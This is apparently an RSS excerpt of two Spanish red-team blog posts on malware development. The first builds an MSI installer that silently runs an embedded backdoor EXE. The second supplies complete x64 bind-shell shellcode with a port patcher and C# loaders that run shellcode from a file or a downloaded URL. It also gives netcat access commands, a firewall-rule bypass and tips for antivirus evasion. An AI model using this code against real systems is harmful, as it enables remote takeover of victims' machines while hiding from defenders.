            <content:encoded><![CDATA[<h3>Malware Development — Creando un instalador MSI como Backdoor</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nCL--TAMhGQDgYNy" /><figcaption>Generado con OpenAI</figcaption></figure><p>En esta publicación veremos cómo construir un archivo .msi desde <em>Linux</em> o <em>macOS</em> utilizando <strong>msitools</strong>. Explicaremos el proceso a través de un ejemplo básico: un programa en C# desarrollado con <strong>.NET Framework</strong>, compilado con <strong>Mono</strong>, y posteriormente empaquetado en un instalador MSI.</p><h3>1. Instalar herramientas necesarias</h3><p>Asegúrate de tener las herramientas requeridas instaladas:</p><ol><li><strong>Mono</strong> para compilar tu proyecto en .exe.</li><li><strong>msitools</strong> para generar el instalador <strong>MSI</strong>.</li></ol><p>En <em>Linux </em>basados en debian:</p><pre>sudo apt update<br>sudo apt install -y mono-devel msitools</pre><p>En <em>macOS</em> (usando <em>Homebrew</em>):</p><pre>brew install mono<br>brew install msitools</pre><h3>2. Compilar el proyecto en .exe con Mono</h3><p>Crea un archivo fuente en <strong>C#</strong> como ejemplo:</p><p>Program.cs:</p><pre>using System;<br>using System.Runtime.InteropServices;<br><br>namespace HelloWorld<br>{<br>    class Program<br>    {<br>        [DllImport(&quot;user32.dll&quot;, CharSet = CharSet.Auto)]<br>        public static extern int MessageBox(IntPtr hWnd, String text, String caption, int options);<br><br>        static void Main(string[] args)<br>        {<br>            MessageBox(IntPtr.Zero, &quot;Hola, Mundo!&quot;, &quot;Mensaje&quot;, 0x00000040 | 0x00000000);<br>        }<br>    }<br>}</pre><p>Para compilar el programa se ocupa el siguiente comando:</p><pre>csc Program.cs -platform:x64 -target:winexe -out:HelloWorld.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FePCWobjt1CSp7WyQtRo1Q.png" /></figure><p>Esto generará un archivo HelloWorld.exe ejecutable con <strong>Mono</strong>.</p><p><em>Nota: En este programa va el loader que quieres usar para el backdoor, pero para casos de demostración, solo se usara </em><strong><em>MessageBox</em></strong><em> con </em><strong><em>P/Invoke</em></strong><em>.</em></p><h3>3. Crear un archivo WXS (WiX Source)</h3><p>Crea un archivo .wxs que describa cómo generar el archivo <strong>MSI</strong>. Por ejemplo:</p><p>HelloWorld.wxs:</p><pre>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br>&lt;Wix xmlns=&quot;http://schemas.microsoft.com/wix/2006/wi&quot;&gt;<br>  &lt;Product Id=&quot;UUID-1&quot;<br>           Name=&quot;HelloWorld Application&quot;<br>           Language=&quot;1033&quot;<br>           Version=&quot;1.0.0&quot;<br>           Manufacturer=&quot;FakeCompany&quot;<br>           UpgradeCode=&quot;UUID-2&quot;&gt;<br><br>    &lt;Package InstallerVersion=&quot;500&quot; Compressed=&quot;yes&quot; InstallScope=&quot;perMachine&quot; /&gt;<br>    &lt;!-- Si necesitas instalar como administrador, descomenta la siguiente línea y comenta la de arriba --&gt;<br>    &lt;!-- &lt;Package InstallerVersion=&quot;500&quot; Compressed=&quot;yes&quot; InstallScope=&quot;perMachine&quot; InstallPrivileges=&quot;elevated&quot; /&gt; --&gt;<br><br>    &lt;Media Id=&quot;1&quot; Cabinet=&quot;media1.cab&quot; EmbedCab=&quot;yes&quot; /&gt;<br><br>    &lt;Directory Id=&quot;TARGETDIR&quot; Name=&quot;SourceDir&quot;&gt;<br>      &lt;Directory Id=&quot;ProgramFilesFolder&quot;&gt;<br>        &lt;Directory Id=&quot;INSTALLFOLDER&quot; Name=&quot;HelloWorld&quot;&gt;<br>          &lt;Component Id=&quot;MainExecutable&quot; Guid=&quot;UUID-3&quot;&gt;<br>            &lt;File Id=&quot;HelloWorldExe&quot; Name=&quot;HelloWorld.exe&quot; Source=&quot;HelloWorld.exe&quot; KeyPath=&quot;yes&quot; /&gt;<br>          &lt;/Component&gt;<br>        &lt;/Directory&gt;<br>      &lt;/Directory&gt;<br>    &lt;/Directory&gt;<br><br>    &lt;Feature Id=&quot;DefaultFeature&quot; Title=&quot;HelloWorld Feature&quot; Level=&quot;1&quot;&gt;<br>      &lt;ComponentRef Id=&quot;MainExecutable&quot; /&gt;<br>    &lt;/Feature&gt;<br><br>    &lt;!-- Acción personalizada para ejecutar el EXE después de la instalación --&gt;<br>    &lt;CustomAction Id=&quot;RunExe&quot; FileKey=&quot;HelloWorldExe&quot; ExeCommand=&quot;&quot; Return=&quot;asyncNoWait&quot; Impersonate=&quot;yes&quot; /&gt;<br><br>    &lt;InstallExecuteSequence&gt;<br>      &lt;Custom Action=&quot;RunExe&quot; After=&quot;InstallFinalize&quot;&gt;NOT Installed&lt;/Custom&gt;<br>    &lt;/InstallExecuteSequence&gt;<br>  &lt;/Product&gt;<br>&lt;/Wix&gt;</pre><p><strong>Notas</strong>:</p><ol><li>Reemplaza UUID-1 , UUID-2 y UUID-3 con <strong>UUIDs</strong> generados.</li><li>Usa uuidgen en <em>Linux/macOS</em> para generar un <strong>UUID</strong>:</li></ol><pre>uuidgen</pre><h3>4. Compilar el archivo WXS en un MSI</h3><p>Usa msitools para generar el instalador <strong>MSI</strong>.</p><ol><li>Ejecutar el siguiente comando para <em>buildear</em> el <strong>MSI</strong>:</li></ol><pre>wixl -v -o HelloWorld.msi HelloWorld.wxs</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uJ5jiRiKNRn5KPVzQzhsGQ.png" /></figure><p><strong>2. Resultado</strong>: Esto generará un archivo HelloWorld.msi.</p><h3>5. Verificar</h3><ul><li>Ejecuta el instalador <strong>MSI</strong> en una máquina <strong>Windows</strong> para probar.</li><li>El <strong>UUID-1</strong> estará vinculado al instalador y se podrá verificar en los registros del sistema o al instalar.</li></ul><h3>6. Automatización</h3><p>Realizamos una automatización en <em>Bash</em> para armar el archivo <strong>MSI</strong></p><p>build.sh:</p><pre>#!/bin/bash<br><br>which wixl &amp;&gt; /dev/null<br>if [ $? -ne 0 ]; then<br>    echo &quot;wixl is not installed. Please install &#39;msitools&#39; it to use this script.&quot;<br>    exit 1<br>fi<br><br>which uuidgen &amp;&gt; /dev/null<br>if [ $? -ne 0 ]; then<br>    echo &quot;uuidgen is not installed. Please install &#39;coreutils&#39; to use this script.&quot;<br>    exit 1<br>fi<br><br>if [ $# -ne 1 ]; then<br>    echo &quot;Error: Exactly one argument required&quot;<br>    exit 1<br>fi<br><br>if ! [[ -f &quot;$1&quot; ]]; then<br>    echo &quot;File &#39;$1&#39; either does not exist.&quot;<br>    exit 1<br>elif ! [[ &quot;$1&quot; == *.exe ]]; then<br>    echo &quot;File &#39;$1&#39; is not an executable file.&quot;<br>    exit 1<br>fi<br><br>uuid_1=$(uuidgen)<br>uuid_2=$(uuidgen)<br>uuid_3=$(uuidgen)<br><br>filename=$1<br>base_name=$(basename &quot;${filename%.*}&quot;)<br><br>company=&quot;FakeCompany&quot;<br><br>cat &lt;&lt;EOF &gt; &quot;$base_name.wxs&quot;<br>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br>&lt;Wix xmlns=&quot;http://schemas.microsoft.com/wix/2006/wi&quot;&gt;<br>  &lt;Product Id=&quot;$uuid_1&quot;<br>           Name=&quot;$base_name Application&quot;<br>           Language=&quot;1033&quot;<br>           Version=&quot;1.0.0&quot;<br>           Manufacturer=&quot;$company&quot;<br>           UpgradeCode=&quot;$uuid_2&quot;&gt;<br><br>    &lt;Package InstallerVersion=&quot;500&quot; Compressed=&quot;yes&quot; InstallScope=&quot;perMachine&quot; /&gt;<br>    &lt;!-- Si necesitas instalar como administrador, descomenta la siguiente línea y comenta la de arriba --&gt;<br>    &lt;!-- &lt;Package InstallerVersion=&quot;500&quot; Compressed=&quot;yes&quot; InstallScope=&quot;perMachine&quot; InstallPrivileges=&quot;elevated&quot; /&gt; --&gt;<br><br>    &lt;Media Id=&quot;1&quot; Cabinet=&quot;media1.cab&quot; EmbedCab=&quot;yes&quot; /&gt;<br><br>    &lt;Directory Id=&quot;TARGETDIR&quot; Name=&quot;SourceDir&quot;&gt;<br>      &lt;Directory Id=&quot;ProgramFilesFolder&quot;&gt;<br>        &lt;Directory Id=&quot;INSTALLFOLDER&quot; Name=&quot;$base_name&quot;&gt;<br>          &lt;Component Id=&quot;MainExecutable&quot; Guid=&quot;$uuid_3&quot;&gt;<br>            &lt;File Id=&quot;${base_name}Exe&quot; Name=&quot;${base_name}.exe&quot; Source=&quot;${filename}&quot; KeyPath=&quot;yes&quot; /&gt;<br>          &lt;/Component&gt;<br>        &lt;/Directory&gt;<br>      &lt;/Directory&gt;<br>    &lt;/Directory&gt;<br><br>    &lt;Feature Id=&quot;DefaultFeature&quot; Title=&quot;$base_name Feature&quot; Level=&quot;1&quot;&gt;<br>      &lt;ComponentRef Id=&quot;MainExecutable&quot; /&gt;<br>    &lt;/Feature&gt;<br><br>    &lt;!-- Acción personalizada para ejecutar el EXE después de la instalación --&gt;<br>    &lt;CustomAction Id=&quot;RunExe&quot; FileKey=&quot;${base_name}Exe&quot; ExeCommand=&quot;&quot; Return=&quot;asyncNoWait&quot; Impersonate=&quot;yes&quot; /&gt;<br><br>    &lt;InstallExecuteSequence&gt;<br>      &lt;Custom Action=&quot;RunExe&quot; After=&quot;InstallFinalize&quot;&gt;NOT Installed&lt;/Custom&gt;<br>    &lt;/InstallExecuteSequence&gt;<br>  &lt;/Product&gt;<br>&lt;/Wix&gt;<br><br>EOF<br>wixl -v -o $base_name.msi $base_name.wxs<br>echo &quot;UUID: {$uuid_1}&quot;</pre><p>Para ejecutar la herramienta se realiza de la siguiente manera:</p><pre>bash build.sh &lt;nombre_del_ejecutable.exe&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-DBt_vmrx20qkU7qyAEJ5A.png" /></figure><h3>Instalando el MSI</h3><p>Para instalar desde la línea de comandos de <em>Windows</em> (<em>CMD</em>) se ejecuta el siguiente comando:</p><pre>msiexec /n /i HelloWorld.msi</pre><h3>Desinstalando el MSI</h3><p>Para desinstalar el <strong>MSI</strong> instalado se necesita del UUID-1 del paso <strong>3. Crear un archivo WXS (WiX Source) </strong>y ejecutar la siguiente herramienta:</p><pre>msiexec /x {UUID-1}</pre><h3>Conclusión</h3><p>Existen herramientas que automatizan este proceso, como es el caso de <em>Metasploit</em> o entornos gráficos como <em>Visual Studio</em>. Sin embargo, el problema de estas soluciones es que suelen consumir muchos recursos o requieren numerosas dependencias, lo cual puede ser excesivo si solo se necesita una funcionalidad puntual. Esto no significa que sean malas herramientas, simplemente que, en ciertos casos, no disponemos del poder computacional necesario o buscamos resolver una necesidad específica de forma más ligera.</p><h3>Referencias</h3><ul><li><a href="https://learn.microsoft.com/en-us/windows/win32/msi/about-windows-installer">https://learn.microsoft.com/en-us/windows/win32/msi/about-windows-installer</a></li><li><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec">https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec</a></li><li><a href="https://www.hackingarticles.in/windows-privilege-escalation-alwaysinstallelevated/">https://www.hackingarticles.in/windows-privilege-escalation-alwaysinstallelevated/</a></li></ul><h3>Autores</h3><ul><li>Vay3t</li><li><a href="https://www.linkedin.com/in/rchangl/">Rodrigo Chang</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a7082e4c3ff0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malware Development — Generando shellcodes de Metasploit sin Metasploit]]></title>
            <link>https://vay3t.medium.com/malware-development-generando-shellcodes-de-metasploit-sin-metasploit-aa120ffcdd92?source=rss-470deab256ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/aa120ffcdd92</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[development]]></category>
            <dc:creator><![CDATA[Vay3t]]></dc:creator>
            <pubDate>Thu, 16 Jan 2025 21:25:27 GMT</pubDate>
            <atom:updated>2025-01-18T19:11:44.604Z</atom:updated>
            <content:encoded><![CDATA[<h3>Malware Development — Generando shellcodes de Metasploit sin Metasploit</h3><p>Independizándonos de Metasploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*0Cp711Uhp60hKVqpKAyxbw.png" /></figure><h3>¿Qué es un shellcode?</h3><p>Es un trozo de código maquina en<strong> </strong>formato<strong> hexadecimal </strong>que contiene instrucciones que se ejecutan directamente en el procesador de una máquina, estos son usados para tener control de la maquina al explotar <em>buffer overflows</em> o <strong>inyectándolo en un proceso</strong> para evasión de sistemas de seguridad del sistema operativo (<em>AV/EDR</em>).</p><h3>Metasploit y sus shellcodes</h3><p><strong>Metasploit</strong> es una suite de herramientas de explotación. Una de sus herramientas es <strong>msfvenom</strong>, la cual sirve para generar <em>shellcodes</em> y escribirlos en distintos formatos. Por ejemplo, <em>exe</em>, <em>c</em>, <em>powershell</em>, <em>go</em>, <em>python</em>, <em>etc</em>…</p><p>En la imagen se muestra un ejemplo de como generar uno con formato python.</p><pre>msfvenom -p windows/x64/shell_bind_tcp LPORT=4444 EXITFUNC=thread -f python</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M63k_hF54Gouvk4_b7RdvQ.png" /></figure><p>En este caso, una <strong>bind shell.</strong> Cuando este <em>shellcode</em> se ejecute en el PC víctima abrirá el puerto <strong>4444/tcp </strong>donde posteriormente se podrá acceder a el con el comando de <strong>netcat</strong> mostrado a continuación para obtener una shell <em>cmd.exe</em>:</p><pre>nc &lt;ip_victima&gt; 4444</pre><p>Más adelante, se mostrará como ejecutar el <em>shellcode</em>.</p><h3>Explorando Metasploit</h3><p>En el siguiente link, se muestra el <em>shellcode</em> de windows/x64/shell_bind_tcp. en donde es posible ver cierta estructura que esta hecha en el lenguaje ruby.</p><p><a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/windows/x64/shell_bind_tcp.rb">metasploit-framework/modules/payloads/singles/windows/x64/shell_bind_tcp.rb at master · rapid7/metasploit-framework</a></p><p>Los conocedores de <strong>Metasploit</strong> saben que el puerto por defecto de los <em>shellcodes</em> TCP del framework es el 4444 y podemos saber cuál es su valor en hexadecimal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*G3noIvp-QyoREgiI7wQf3g.png" /></figure><p>Al tener el valor <strong>115c,</strong> que corresponde al <strong>4444,</strong> podemos ver que existe ese valor en el código del <em>shellcode</em>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qmuTZYjJ4ZTv-VAqZQ2ENA.png" /><figcaption><a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/windows/x64/shell_bind_tcp.rb#L47">https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/windows/x64/shell_bind_tcp.rb#L47</a></figcaption></figure><h3>Programando el generador</h3><p>Con esta información entendemos que el <em>shellcode</em> de <strong>Metasploit</strong> es en realidad un template en donde va <em>hardcodeado</em> el puerto en formato hexadecimal, para eso podemos ponernos manos a la obra y construir en <strong>Python</strong> un programa para poder generar el <em>shellcode</em> sin necesidad de tener instalado <strong>Metasploit.</strong></p><p>Lo que hace el programa es que lee del input el puerto, lo transforma de int a hex, luego busca el patrón \x11\x5c y lo reemplaza por el puerto elegido.</p><pre>import sys<br><br><br>def replace_port(buf, port):<br>    if not (0 &lt;= port &lt;= 65535):<br>        raise ValueError(&quot;El puerto debe estar en el rango de 0 a 65535.&quot;)<br><br>    port_hex = port.to_bytes(2, byteorder=&quot;big&quot;)<br>    original_pattern = b&quot;\x11\x5c&quot;<br>    buf = buf.replace(original_pattern, port_hex)<br><br>    return buf<br><br><br># msfvenom -p windows/x64/shell_bind_tcp LPORT=4444 EXITFUNC=thread -f python<br>buf = b&quot;&quot;<br>buf += b&quot;\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51&quot;<br>buf += b&quot;\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52&quot;<br>buf += b&quot;\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72&quot;<br>buf += b&quot;\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0&quot;<br>buf += b&quot;\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41&quot;<br>buf += b&quot;\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b&quot;<br>buf += b&quot;\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48&quot;<br>buf += b&quot;\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44&quot;<br>buf += b&quot;\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41&quot;<br>buf += b&quot;\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0&quot;<br>buf += b&quot;\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1&quot;<br>buf += b&quot;\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44&quot;<br>buf += b&quot;\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44&quot;<br>buf += b&quot;\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01&quot;<br>buf += b&quot;\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59&quot;<br>buf += b&quot;\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41&quot;<br>buf += b&quot;\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49&quot;<br>buf += b&quot;\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49&quot;<br>buf += b&quot;\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5&quot;<br>buf += b&quot;\x49\xbc\x02\x00\x11\x5c\x00\x00\x00\x00\x41\x54&quot;<br>buf += b&quot;\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07&quot;<br>buf += b&quot;\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41&quot;<br>buf += b&quot;\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9&quot;<br>buf += b&quot;\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0&quot;<br>buf += b&quot;\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48&quot;<br>buf += b&quot;\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9&quot;<br>buf += b&quot;\x41\xba\xc2\xdb\x37\x67\xff\xd5\x48\x31\xd2\x48&quot;<br>buf += b&quot;\x89\xf9\x41\xba\xb7\xe9\x38\xff\xff\xd5\x4d\x31&quot;<br>buf += b&quot;\xc0\x48\x31\xd2\x48\x89\xf9\x41\xba\x74\xec\x3b&quot;<br>buf += b&quot;\xe1\xff\xd5\x48\x89\xf9\x48\x89\xc7\x41\xba\x75&quot;<br>buf += b&quot;\x6e\x4d\x61\xff\xd5\x48\x81\xc4\xa0\x02\x00\x00&quot;<br>buf += b&quot;\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41\x50&quot;<br>buf += b&quot;\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a&quot;<br>buf += b&quot;\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01&quot;<br>buf += b&quot;\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6&quot;<br>buf += b&quot;\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41&quot;<br>buf += b&quot;\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba&quot;<br>buf += b&quot;\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2\x48\xff\xca&quot;<br>buf += b&quot;\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff\xd5\xbb\xe0&quot;<br>buf += b&quot;\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48&quot;<br>buf += b&quot;\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05&quot;<br>buf += b&quot;\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff&quot;<br>buf += b&quot;\xd5&quot;<br><br>if len(sys.argv) != 2:<br>    print(f&quot;Uso: {sys.argv[0]} &lt;puerto&gt;&quot;)<br>    sys.exit(1)<br><br>puerto = sys.argv[1]<br>nuevo_buf = replace_port(buf, int(puerto))<br>sys.stdout.buffer.write(nuevo_buf)</pre><p>Este código se podría ejecutar de la siguiente forma:</p><pre>python3 main.py 4444 &gt; shellcode.bin</pre><h3>Ejecutando el shellcode</h3><p>Ya que tenemos el programa que genera el <em>shellcode</em> ahora falta el ejecutarlo. Para eso tenemos que leer el <em>shellcode</em>, usa esto como un template, no tengas esperanzas de que evada un antivirus, aunque a veces el señor obra de formas misteriosas (el señor que programó el AV):</p><pre>using System;<br>using System.IO;<br>using System.Runtime.InteropServices;<br><br>namespace ConsoleApp1<br>{<br>    class Program<br>    {<br>        [DllImport(&quot;kernel32.dll&quot;, SetLastError = true)]<br>        static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);<br><br>        const uint PAGE_EXECUTE_READWRITE = 0x40;<br><br>        static void Main(string[] args)<br>        {<br>            if (args.Length &lt; 1)<br>            {<br>                Console.WriteLine(&quot;Uso: Program &lt;archivo_shellcode&gt;&quot;);<br>                return;<br>            }<br><br>            string filename = args[0];<br><br>            byte[] shellcode;<br>            try<br>            {<br>                shellcode = File.ReadAllBytes(filename);<br>            }<br>            catch (Exception ex)<br>            {<br>                Console.WriteLine($&quot;Error al abrir el archivo: {ex.Message}&quot;);<br>                return;<br>            }<br><br>            Console.WriteLine($&quot;Shellcode cargado ({shellcode.Length} bytes):&quot;);<br>            foreach (byte b in shellcode)<br>            {<br>                Console.Write($&quot;\\x{b:X2}&quot;);<br>            }<br>            Console.WriteLine();<br><br>            IntPtr buffer = Marshal.AllocHGlobal(shellcode.Length);<br>            Marshal.Copy(shellcode, 0, buffer, shellcode.Length);<br><br>            if (!VirtualProtect(buffer, (uint)shellcode.Length, PAGE_EXECUTE_READWRITE, out uint oldProtect))<br>            {<br>                Console.WriteLine(&quot;Error al cambiar permisos de memoria&quot;);<br>                Marshal.FreeHGlobal(buffer);<br>                return;<br>            }<br><br>            Console.WriteLine(&quot;Ejecutando el shellcode...&quot;);<br>            var shellcodeDelegate = (Action)Marshal.GetDelegateForFunctionPointer(buffer, typeof(Action));<br>            shellcodeDelegate();<br>        }<br>    }<br>}</pre><p>Ya tenemos el código en <em>C#</em>, ahora falta compilarlo para que funcione en <strong>Windows.</strong></p><p>Puedes instalar <a href="https://www.mono-project.com/"><strong>Mono</strong></a> para hacer una compilación cruzada desde <strong>Linux</strong> para que funcione en <strong>Windows.</strong></p><pre># Linux<br>sudo apt install mono-devel -y<br><br># MacOS<br>brew install mono</pre><p>Ya teniendo todo listo a compilar!</p><pre>csc -platform:x64 -target:winexe main.cs</pre><p>Se generará el archivo main.exe en donde tendrás que pasarlo a un <strong>Windows</strong> junto con shellcode.bin.</p><p>Ahora toca ejecutarlo desde la <strong>CMD </strong>de<strong> Windows!</strong></p><pre>victim@VICTIMSTATION C:\Users\victim\Documents&gt; main.exe shellcode.bin</pre><p>Para comprobar de que se abrió el puerto <strong>4444</strong> se puede revisar con el comando netstat:</p><pre>victim@VICTIMSTATION C:\Users\victim\Documents&gt; netstat -an | find &quot;4444&quot;<br>  TCP    0.0.0.0:4444           0.0.0.0:0              LISTENING</pre><p>Si no hay un <em>Firewall</em> molestando en el <em>PC</em> víctima, podremos conectarnos usando netcat:</p><pre>nc 192.168.2.3 4444</pre><p>En caso de que esté el <em>Firewall</em> de <strong>Windows</strong> activo puedes usar el siguiente comando en <strong>PowerShell</strong> para añadir la excepción, dejo también comandos de utilidad:</p><pre># Añadir la regla de Firewall<br>New-NetFirewallRule -DisplayName &quot;Open TCP Port 4444&quot; -Direction Inbound -Protocol TCP -LocalPort 4444 -Action Allow<br><br># Revisar que la regla alla sido añadida<br>Get-NetFirewallRule -DisplayName &quot;Open TCP Port 4444&quot;<br><br># Remover la regla<br>Remove-NetFirewallRule -DisplayName &quot;Open TCP Port 4444&quot;</pre><p>y listo, hágase la mágia!</p><h3>Encoders, cifrados y ofuscares</h3><p>Una forma de proteger el <em>shellcode</em> del antivirus es usar <strong>encoders</strong>, <strong>ofuscadores</strong> o <strong>cifrados</strong>, estos dependen de quién programe la herramienta:</p><ul><li><strong>Encoders</strong>: El más comun es el <strong>XOR</strong>, el <strong>ROT</strong> o el <strong>RC4.</strong></li><li><strong>Cifrados</strong>: Por lejos el más util es el <strong>AES</strong>, aún que dependiendo del soporte de cada lenguaje o <em>API</em>, es posible usar <strong>Chacha20.</strong></li><li><strong>Ofuscadores</strong>: Se podría usar los métodos de <strong>IPv4</strong>, <strong>IPv6</strong>, <strong>MAC</strong> y <strong>UUID.</strong></li></ul><h3>Process Injection</h3><p>Un <em>shellcode</em> puede ser ejecutado usando técnicas de inyección de procesos, dado a que no está en el alcance de este post el hablar de <strong>Process Injection</strong>, dejo como referencia un sitio excelente donde explican detalladamente cada tipo de técnica:</p><p><a href="https://offensive-panda.github.io/ProcessInjectionTechniques/">ProcessInjectionTechniques</a></p><h3>Portando el generador de shellcodes a otros lenguajes</h3><p>Antes de hacer este post hice una herramienta en <strong>Go</strong> similar a la creada acá, pero enfocada en el <strong>payload</strong>: windows/x64/shell_reverse_tcp.</p><p><a href="https://github.com/nchgroup/shell_reverse_tcp">GitHub - nchgroup/shell_reverse_tcp: msfvenom windows/x64/shell_reverse_tcp payload generator without dependencies</a></p><h3>Bonus Track</h3><p>El siguiente código en <em>C#</em> es para leer el <em>shellcode</em> desde una URL.</p><pre>using System;<br>using System.IO;<br>using System.Net.Http;<br>using System.Runtime.InteropServices;<br>using System.Threading.Tasks;<br><br>namespace ConsoleApp1<br>{<br>    class Program<br>    {<br>        [DllImport(&quot;kernel32.dll&quot;, SetLastError = true)]<br>        static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);<br><br>        const uint PAGE_EXECUTE_READWRITE = 0x40;<br><br>        static async Task Main(string[] args)<br>        {<br>            if (args.Length &lt; 1)<br>            {<br>                Console.WriteLine(&quot;Uso: Program &lt;url_shellcode&gt;&quot;);<br>                return;<br>            }<br><br>            string url = args[0];<br><br>            byte[] shellcode;<br>            try<br>            {<br>                shellcode = await DownloadFromUrl(url);<br>            }<br>            catch (Exception ex)<br>            {<br>                Console.WriteLine($&quot;Error al descargar el archivo: {ex.Message}&quot;);<br>                return;<br>            }<br><br>            Console.WriteLine($&quot;Shellcode cargado ({shellcode.Length} bytes):&quot;);<br>            foreach (byte b in shellcode)<br>            {<br>                Console.Write($&quot;\\x{b:X2}&quot;);<br>            }<br>            Console.WriteLine();<br><br>            IntPtr buffer = Marshal.AllocHGlobal(shellcode.Length);<br>            Marshal.Copy(shellcode, 0, buffer, shellcode.Length);<br><br>            if (!VirtualProtect(buffer, (uint)shellcode.Length, PAGE_EXECUTE_READWRITE, out uint oldProtect))<br>            {<br>                Console.WriteLine(&quot;Error al cambiar permisos de memoria&quot;);<br>                Marshal.FreeHGlobal(buffer);<br>                return;<br>            }<br><br>            Console.WriteLine(&quot;Ejecutando el shellcode...&quot;);<br>            var shellcodeDelegate = (Action)Marshal.GetDelegateForFunctionPointer(buffer, typeof(Action));<br>            shellcodeDelegate();<br>        }<br><br>        static async Task&lt;byte[]&gt; DownloadFromUrl(string url)<br>        {<br>            using (HttpClient client = new HttpClient())<br>            {<br>                return await client.GetByteArrayAsync(url);<br>            }<br>        }<br>    }<br>}</pre><h3>Recomendaciones</h3><p>Se recomienda usar el ejemplo de la descarga de <em>shellcode</em> por <em>URL</em>, y cambiar el nombre de las variables, funciones y strings por unos no tan llamativos como <em>shellcode</em>, también ofuscar el <em>shellcode</em> y mantener la verbosidad lo mínimo posible, solo en caso de debugging del código.</p><h3>Conclusión</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rtg5JW95QBAM51KGs5-PBA.png" /></figure><h3>Referencias</h3><ul><li><a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/windows/x64/shell_bind_tcp.rb#L47">https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/windows/x64/shell_bind_tcp.rb#L47</a></li><li><a href="https://sidthoviti.com/malware-development-primer-1-shellcode-execution/">https://sidthoviti.com/malware-development-primer-1-shellcode-execution/</a></li><li><a href="https://www.mono-project.com/">https://www.mono-project.com/</a></li><li><a href="https://vay3t.medium.com/malware-development-p-invoke-y-d-invoke-689c8e4c547f">https://vay3t.medium.com/malware-development-p-invoke-y-d-invoke-689c8e4c547f</a></li><li><a href="https://github.com/NUL0x4C/HellShell">https://github.com/NUL0x4C/HellShell</a></li><li><a href="https://offensive-panda.github.io/ProcessInjectionTechniques/">https://offensive-panda.github.io/ProcessInjectionTechniques/</a></li><li><a href="https://github.com/nchgroup/shell_reverse_tcp">https://github.com/nchgroup/shell_reverse_tcp</a></li><li><a href="https://github.com/vay3t/asm-shell_reverse_tcp">https://github.com/vay3t/asm-shell_reverse_tcp</a></li></ul><h3>Autores</h3><ul><li>Vay3t</li><li><a 